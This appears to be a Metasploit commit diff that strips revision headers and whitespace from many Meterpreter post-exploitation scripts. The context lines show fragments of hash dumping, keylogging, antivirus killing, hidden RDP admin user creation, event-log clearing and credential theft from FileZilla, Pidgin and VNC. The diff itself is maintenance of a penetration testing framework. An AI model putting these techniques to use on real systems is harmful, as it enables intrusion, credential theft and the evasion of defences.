insertions(+), 244 deletions(-) diff --git a/scripts/meterpreter/arp_scanner.rb b/scripts/meterpreter/arp_scanner.rb index cab09e016e..4abe944c82 100644 --- a/scripts/meterpreter/arp_scanner.rb +++ b/scripts/meterpreter/arp_scanner.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -22,7 +20,7 @@ def enum_int print_status("\t#{i.netmask}") print_status() end - + end end diff --git a/scripts/meterpreter/autoroute.rb b/scripts/meterpreter/autoroute.rb index 8fa695edd7..88602113e9 100644 --- a/scripts/meterpreter/autoroute.rb +++ b/scripts/meterpreter/autoroute.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # # Meterpreter script for setting up a route from within a # Meterpreter session, without having to background the diff --git a/scripts/meterpreter/checkvm.rb b/scripts/meterpreter/checkvm.rb index 8f5b68c8cb..d968f9a184 100644 --- a/scripts/meterpreter/checkvm.rb +++ b/scripts/meterpreter/checkvm.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Meterpreter script for detecting if target host is a Virtual Machine # Provided by Carlos Perez at carlos_perez[at]darkoperator.com # Version: 0.2.0 diff --git a/scripts/meterpreter/credcollect.rb b/scripts/meterpreter/credcollect.rb index 5cf971a954..4ba4dd1a7b 100644 --- a/scripts/meterpreter/credcollect.rb +++ b/scripts/meterpreter/credcollect.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # credcollect - tebo[at]attackresearch.com opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/domain_list_gen.rb b/scripts/meterpreter/domain_list_gen.rb index 4ca6eaf5be..3621d02d05 100644 --- a/scripts/meterpreter/domain_list_gen.rb +++ b/scripts/meterpreter/domain_list_gen.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- #Options and Option Parsing diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb index c4dc95b150..58ba559caf 100644 --- a/scripts/meterpreter/dumplinks.rb +++ b/scripts/meterpreter/dumplinks.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: davehull at dph_msf@trustedsignal.com #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index fb99634e8d..e45c7fbc1e 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Scriptjunkie # Uses a meterpreter session to spawn a new meterpreter session in a different process. # A new process allows the session to take "risky" actions that might get the process killed by diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb index 7c61d98db0..1c3fbfd35f 100644 --- a/scripts/meterpreter/enum_chrome.rb +++ b/scripts/meterpreter/enum_chrome.rb @@ -1,5 +1,3 @@ -#$Id$ -#$Revision$ # # Script to extract data from a chrome installation. # diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb index b38e44ce33..b76630db7e 100644 --- a/scripts/meterpreter/enum_firefox.rb +++ b/scripts/meterpreter/enum_firefox.rb @@ -1,6 +1,4 @@ # -# $Id: enum_firefox.rb 9770 2010-07-10 20:00:32Z darkoperator $ -# $Revision: $ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -34,7 +32,7 @@ def frfxplacesget(path,usrnm) fullpath = path + '\\' + x if @client.fs.file.stat(fullpath).directory? frfxplacesget(fullpath,usrnm) - elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i + elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i dst = x dst = @logs + ::File::Separator + usrnm + dst print_status("\tDownloading Firefox Database file #{x} to '#{dst}'") diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb index eb263c23ad..d38d35e240 100644 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ b/scripts/meterpreter/enum_logged_on_users.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: 9771 $ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb index 3066630da0..613b4923a0 100644 --- a/scripts/meterpreter/enum_powershell_env.rb +++ b/scripts/meterpreter/enum_powershell_env.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: $ #Meterpreter script for enumerating Microsoft Powershell settings. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com @client = client @@ -116,7 +114,7 @@ def enum_powershell end end - + end end if client.platform =~ /win32|win64/ diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index 76e7994e63..a46fc99942 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: $ # # Meterpreter script for enumerating putty connections # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com @@ -22,7 +20,7 @@ opts.parse(args) { |opt, idx, val| def hkcu_base key_base = [] - + if not is_system? key_base << "HKCU" else diff --git a/scripts/meterpreter/enum_shares.rb b/scripts/meterpreter/enum_shares.rb index 139a9afed1..9d49918dd8 100644 --- a/scripts/meterpreter/enum_shares.rb +++ b/scripts/meterpreter/enum_shares.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -76,7 +74,7 @@ if client.platform =~ /win32|64/ # Enumerate shares being offered enum_conf_shares() - + if not is_system? mount_history = enum_recent_mounts("HKEY_CURRENT_USER") run_history = enum_run_unc("HKEY_CURRENT_USER") diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb index 9fef542251..825f5df0e4 100644 --- a/scripts/meterpreter/enum_vmware.rb +++ b/scripts/meterpreter/enum_vmware.rb @@ -1,6 +1,3 @@ -# $Id: $ -# $Revision$ - # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -102,7 +99,7 @@ def enum_viclient end end end - + if not is_system? recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") print_status("Recent VI Client Connections:") @@ -116,7 +113,7 @@ def enum_viclient ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") end - + end else user_sid = [] @@ -283,7 +280,7 @@ def enum_vmwarewrk end end fav_file.each_line do |l| - + if l =~ /config/ print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}") end diff --git a/scripts/meterpreter/event_manager.rb b/scripts/meterpreter/event_manager.rb index 21d7f3bdf7..9ddcd85a05 100644 --- a/scripts/meterpreter/event_manager.rb +++ b/scripts/meterpreter/event_manager.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -48,7 +46,7 @@ def get_log_details logs_detail = Array.new eventlog_list.each do |log_name| - + # Create a hash to store the log info in (and throw default info in) log_detail = Hash.new log_detail[:name] = log_name @@ -62,11 +60,11 @@ def get_log_details else key = "#{key}eventlog" end - + begin unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize") - + # Open the event log eventlog = @client.sys.eventlog.open(log_name) log_detail[:num_of_records] = eventlog.length @@ -74,10 +72,10 @@ def get_log_details log_detail[:num_of_records] = "Access Denied" end - + logs_detail << log_detail end - + return logs_detail end @@ -95,13 +93,13 @@ def print_log_details "Maximum Size", "Records" ]) - + eventlog_details = get_log_details eventlog_details.each do |log_detail| tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]] end - + print_line("\n" + tbl.to_s + "\n") end @@ -135,7 +133,7 @@ def list_logs(eventlog_name,filter,filter_string,logs,local_log,sup_print) print_error("Failed to Open Event Log #{eventlog_name}") raise Rex::Script::Completed end - + if local_log log_file = File.join(logs, "#{eventlog_name}.csv") print_good("CSV File saved to #{log_file}") @@ -152,7 +150,7 @@ def clear_logs(log_name=nil) else log_names << log_name end - + log_names.each do |name| begin print_status("Clearing #{name}") @@ -163,7 +161,7 @@ def clear_logs(log_name=nil) print_error("Failed to Clear #{name}, Access Denied") end end - + return log_names end @@ -221,7 +219,7 @@ if local_log else logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) ) end - + ::FileUtils.mkdir_p(logs) end @@ -242,5 +240,5 @@ if clear_logs print_status eventlog_name + ": " clear_logs(eventlog_name) end - end + end end diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb index 83749aa94b..30e8cb40b2 100644 --- a/scripts/meterpreter/file_collector.rb +++ b/scripts/meterpreter/file_collector.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- @client = client diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb index 354442a228..bdcd805351 100644 --- a/scripts/meterpreter/get_application_list.rb +++ b/scripts/meterpreter/get_application_list.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: $ # Meterpreter script for listing installed applications and their version. # Provided: carlos_perez[at]darkoperator[dot]com @@ -54,7 +52,7 @@ opts.parse(args) { |opt, idx, val| print_line "Meterpreter Script for extracting a list installed applications and their version." print_line(opts.usage) raise Rex::Script::Completed - + end } if client.platform =~ /win32|win64/ diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb index a255c86bd3..5bc85bf89e 100644 --- a/scripts/meterpreter/get_env.rb +++ b/scripts/meterpreter/get_env.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: $ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb index f8213c1ee2..2944f6018e 100644 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ b/scripts/meterpreter/get_filezilla_creds.rb @@ -1,7 +1,3 @@ -## -# $Id$ -# $Revision: $ -## require "rexml/document" @@ -90,7 +86,7 @@ def extract_saved_creds(path,xml_file) print_status "\tUser: #{e.elements["User"].text}" creds << "User: #{e.elements["User"].text}" end - + proto = e.elements["Protocol"].text if proto == "0" print_status "\tProtocol: FTP" @@ -109,14 +105,14 @@ def extract_saved_creds(path,xml_file) creds << "" end -# +# return creds end #------------------------------------------------------------------------------- #Function to enumerate the users if running as SYSTEM def enum_users(os) users = [] - + path4users = "" sysdrv = @client.fs.file.expand_path("%SystemDrive%") diff --git a/scripts/meterpreter/get_local_subnets.rb b/scripts/meterpreter/get_local_subnets.rb index dec55fa353..3622811d57 100644 --- a/scripts/meterpreter/get_local_subnets.rb +++ b/scripts/meterpreter/get_local_subnets.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # Meterpreter script that display local subnets # Provided by Nicob # Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb index 2b47353a13..77cbe3c649 100644 --- a/scripts/meterpreter/get_pidgin_creds.rb +++ b/scripts/meterpreter/get_pidgin_creds.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- require "rexml/document" @@ -145,7 +143,7 @@ end #Function to enumerate the users if running as SYSTEM def enum_users(os) users = [] - + path4users = "" sysdrv = @client.fs.file.expand_path("%SystemDrive%") diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb index b08df8b9de..6802176f10 100644 --- a/scripts/meterpreter/get_valid_community.rb +++ b/scripts/meterpreter/get_valid_community.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #copied getvncpw - thanks grutz/carlos @@ -15,7 +13,7 @@ def usage() end def get_community(session) - key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" + key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" root_key, base_key = session.sys.registry.splitkey(key) open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) begin @@ -37,7 +35,7 @@ end if client.platform =~ /win32|win64/ print_status("Searching for community strings...") strs = get_community(session) - if strs + if strs strs.each do |str| print_good("FOUND: #{str}") @client.framework.db.report_auth_info( @@ -50,7 +48,7 @@ if client.platform =~ /win32|win64/ :type => "snmp.community", :duplicate_ok => true ) - end + end else print_status("Not found") end diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb index ce0ad27824..51a3200d30 100644 --- a/scripts/meterpreter/getcountermeasure.rb +++ b/scripts/meterpreter/getcountermeasure.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration. # Provides also the option to kill the processes of detected products and disable the built-in firewall. @@ -177,7 +175,7 @@ avs = %W{ oasclnt.exe ofcdog.exe opscan.exe - ossec-agent.exe + ossec-agent.exe outpost.exe paamsrv.exe pavfnsvr.exe diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index 59826d0f46..f027423a46 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -67,7 +65,7 @@ def enabletssrv() file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") cmd_exec("sc start termservice") file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") - + else print_status "\tTerminal Services service is already set to auto" end @@ -83,7 +81,7 @@ end def addrdpusr(session, username, password) - + rdu = resolve_sid("S-1-5-32-555")[:name] admin = resolve_sid("S-1-5-32-544")[:name] @@ -100,7 +98,7 @@ def addrdpusr(session, username, password) file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") print_status "\tAdding User: #{username} to local group '#{rdu}'" cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") - + print_status "\tAdding User: #{username} to local group '#{admin}'" cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") print_status "You can now login with the created user" diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index a65c4120d0..0604f40eb6 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -60,7 +58,7 @@ def insttlntsrv() end file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"") print_status("Finished installing the Telnet Service.") - + end elsif trgtos =~ /2003/ file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"") @@ -85,7 +83,7 @@ def enabletlntsrv() # Enabling Exception on the Firewall print_status "\tOpening port in local firewall if necessary" cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable') - + rescue::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") end diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb index 2bbefb1caf..21484313c4 100644 --- a/scripts/meterpreter/getvncpw.rb +++ b/scripts/meterpreter/getvncpw.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #---------------------------------------------------------------- # Meterpreter script to obtain the VNC password out of the # registry and print its decoded cleartext diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index 3f2fcb8471..2ab37157fc 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Implement pwdump (hashdump) through registry reads + syskey @@ -101,14 +99,14 @@ def capture_user_keys users[usr.to_i(16)] ||={} users[usr.to_i(16)][:F] = uk.query_value("F").data users[usr.to_i(16)][:V] = uk.query_value("V").data - + #Attempt to get Hints (from Win7/Win8 Location) begin users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0]) rescue ::Rex::Post::Meterpreter::RequestError users[usr.to_i(16)][:UserPasswordHint] = nil end - + uk.close end ok.close @@ -120,9 +118,9 @@ def capture_user_keys rid = r.type users[rid] ||= {} users[rid][:Name] = usr - + #Attempt to get Hints (from WinXP Location) only if it's not set yet - if users[rid][:UserPasswordHint].nil? + if users[rid][:UserPasswordHint].nil? begin uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) users[rid][:UserPasswordHint] = uk_hint.query_value("").data @@ -130,7 +128,7 @@ def capture_user_keys users[rid][:UserPasswordHint] = nil end end - + uk.close end ok.close @@ -262,9 +260,9 @@ if client.platform =~ /win32|win64/ if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" hint_count += 1 - end + end end - print_line("No users with password hints on this system") if hint_count == 0 + print_line("No users with password hints on this system") if hint_count == 0 print_line() print_status("Dumping password hashes...") @@ -280,9 +278,9 @@ if client.platform =~ /win32|win64/ :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], :type => "smb_hash" ) - + print_line hashstring - + end print_line() print_line() @@ -298,4 +296,4 @@ if client.platform =~ /win32|win64/ else print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed -end \ No newline at end of file +end diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb index ba4f2223f3..c54bd4c67b 100644 --- a/scripts/meterpreter/hostsedit.rb +++ b/scripts/meterpreter/hostsedit.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Meterpreter script for modifying the hosts file in windows # given a single entrie or several in a file and clear the # DNS cache on the target machine. diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index 11bce12b62..ae6316f6a5 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com # Updates by Shellster #------------------------------------------------------------------------------- @@ -75,7 +73,7 @@ def explrmigrate(session,captype,lock,kill) print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") session.core.migrate(x['pid'].to_i) print_status("Migration Successful!!") - + if (kill) begin print_status("Killing old process") @@ -149,7 +147,7 @@ def keycap(session, keytime, logfile) rec = 1 #Creating DB for captured keystrokes file_local_write(logfile,"") - + print_status("Keystrokes being saved in to #{logfile}") #Inserting keystrokes every number of seconds specified print_status("Recording ") @@ -187,7 +185,7 @@ kill = false when "-l" lock = true when "-k" - kill = true + kill = true end } if client.platform =~ /win32|win64/ diff --git a/scripts/meterpreter/killav.rb b/scripts/meterpreter/killav.rb index a631f01f1f..60ac0f5c70 100644 --- a/scripts/meterpreter/killav.rb +++ b/scripts/meterpreter/killav.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Meterpreter script that kills all Antivirus processes # Provided by: Jerome Athias diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 46baa8eac4..fe56c49f72 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # # Meterpreter script for installing the meterpreter service # diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index 8d8776e51f..1444226ee0 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Simple example script that migrates to a specific process by name. # This is meant as an illustration. diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb index 7fe7850a33..4d19828ba9 100644 --- a/scripts/meterpreter/multi_console_command.rb +++ b/scripts/meterpreter/multi_console_command.rb @@ -1,10 +1,8 @@ -# $Id$ # # Meterpreter script for running multiple console commands on a meterpreter session # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com # Verion: 0.1 # -# $Revision$ ################## Variable Declarations ################## @client = client @@ -48,7 +46,7 @@ end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| case opt - + when "-cl" commands = val.split(",") when "-rc" @@ -60,7 +58,7 @@ end commands << line.chomp end end - + when "-h" help = 1 end diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index f37e2822a9..d6f6974ed7 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/multicommand.rb b/scripts/meterpreter/multicommand.rb index 707b292bef..53f82eddb5 100644 --- a/scripts/meterpreter/multicommand.rb +++ b/scripts/meterpreter/multicommand.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for running multiple commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/multiscript.rb b/scripts/meterpreter/multiscript.rb index c798ca1452..01cfaf6791 100644 --- a/scripts/meterpreter/multiscript.rb +++ b/scripts/meterpreter/multiscript.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for running multiple scripts on a Meterpreter Session #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com #Verion: 0.2 diff --git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb index a8b5fbde26..69120a6dee 100644 --- a/scripts/meterpreter/netenum.rb +++ b/scripts/meterpreter/netenum.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # #Meterpreter script for ping sweeps on Windows 2003, Windows Vista #Windows 2008 and Windows XP targets using native windows commands. @@ -61,7 +59,7 @@ def stdlookup(session,domain,dest) end garbage.clear end - + rescue ::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") end @@ -109,14 +107,14 @@ def reverselookup(session,iprange,dest) filewrt(dest,"#{ip} is #{hostname[1].chomp("\n")}") end break - + end - + end - + r.channel.close r.close - + }) i += 1 else @@ -128,7 +126,7 @@ def reverselookup(session,iprange,dest) end rescue ::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") - + end end @@ -155,7 +153,7 @@ def frwdlp(session,hostlst,domain,dest) break end end - + r.channel.close r.close } @@ -165,7 +163,7 @@ def frwdlp(session,hostlst,domain,dest) print_status("\t#{t.join.sub(/Address\w*:/, "\t")}") filewrt(dest,"#{t.join.sub(/Address\w*:/, "\t")}") end - + else print_status("File #{hostlst}does not exists!") exit @@ -211,7 +209,7 @@ def pingsweep(session,iprange,dest) end r.channel.close r.close - + }) i += 1 else @@ -223,7 +221,7 @@ def pingsweep(session,iprange,dest) end rescue ::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") - + end end #------------------------------------------------------------------------------- @@ -297,7 +295,7 @@ srvrc = nil hostlist = val when "-r" range = val - + when "-h" print( "Network Enumerator Meterpreter Script\n" + diff --git a/scripts/meterpreter/packetrecorder.rb b/scripts/meterpreter/packetrecorder.rb index 54ba53c61c..eae94b1182 100644 --- a/scripts/meterpreter/packetrecorder.rb +++ b/scripts/meterpreter/packetrecorder.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/panda_2007_pavsrv51.rb b/scripts/meterpreter/panda_2007_pavsrv51.rb index d093e9c0ec..c572095dcc 100644 --- a/scripts/meterpreter/panda_2007_pavsrv51.rb +++ b/scripts/meterpreter/panda_2007_pavsrv51.rb @@ -1,5 +1,3 @@ -# $Id: panda_2007_pavsrv51.rb 8734 2010-03-07 22:49:08Z mc $ -# $Revision: $ ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index 3c9b52aae8..948f4fbd6a 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/pml_driver_config.rb b/scripts/meterpreter/pml_driver_config.rb index f004237842..05ea3595ed 100644 --- a/scripts/meterpreter/pml_driver_config.rb +++ b/scripts/meterpreter/pml_driver_config.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/scripts/meterpreter/powerdump.rb b/scripts/meterpreter/powerdump.rb index 772efa94b1..e46d542466 100644 --- a/scripts/meterpreter/powerdump.rb +++ b/scripts/meterpreter/powerdump.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry # keys. This script requires you to be running as system in order to work properly. This has currently been diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb index 8dc99dfffe..d299868ebc 100644 --- a/scripts/meterpreter/prefetchtool.rb +++ b/scripts/meterpreter/prefetchtool.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for extracting information from windows prefetch folder #Provided by Milo at keith.lee2012[at]gmail.com #Verion: 0.1.0 diff --git a/scripts/meterpreter/process_memdump.rb b/scripts/meterpreter/process_memdump.rb index 3f225f685c..5eb1c8d96d 100644 --- a/scripts/meterpreter/process_memdump.rb +++ b/scripts/meterpreter/process_memdump.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com # Note: Script is based on the paper Neurosurgery With Meterpreter by # Colin Ames (amesc[at]attackresearch.com) David Kerb (dkerb[at]attackresearch.com) diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb index 71721d1009..873d989682 100644 --- a/scripts/meterpreter/remotewinenum.rb +++ b/scripts/meterpreter/remotewinenum.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -62,7 +60,7 @@ def wmicexec(session,wmic,user,pass,trgt) tmp = session.fs.file.expand_path("%TEMP%") # Temporary file on windows host to store results wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" - + wmic.each do |wmi| if user == nil print_status("The commands will be ran under the credentials of #{runningas}") diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb index 549d77f80d..7134005e98 100644 --- a/scripts/meterpreter/scheduleme.rb +++ b/scripts/meterpreter/scheduleme.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for automating the most common scheduling tasks #during a pentest. This script will use the schtasks command so as diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb index b8081f7c3d..f10648d989 100644 --- a/scripts/meterpreter/schelevator.rb +++ b/scripts/meterpreter/schelevator.rb @@ -1,8 +1,3 @@ -## -# $Id$ -# $Revision$ -## - ## # # This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet @@ -255,7 +250,7 @@ def fix_crc32(data, old_crc) crc = crc32(data[0, data.length - 12]) data[-12, 4] = [crc].pack('V') - + data[-12, 12].unpack('C*').reverse.each { |b| old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff } diff --git a/scripts/meterpreter/schtasksabuse.rb b/scripts/meterpreter/schtasksabuse.rb index 12d0318911..064e41602d 100644 --- a/scripts/meterpreter/schtasksabuse.rb +++ b/scripts/meterpreter/schtasksabuse.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for abusing the scheduler service in windows #by scheduling and running a list of command against one or more targets diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb index b7d017490b..b94515ed72 100644 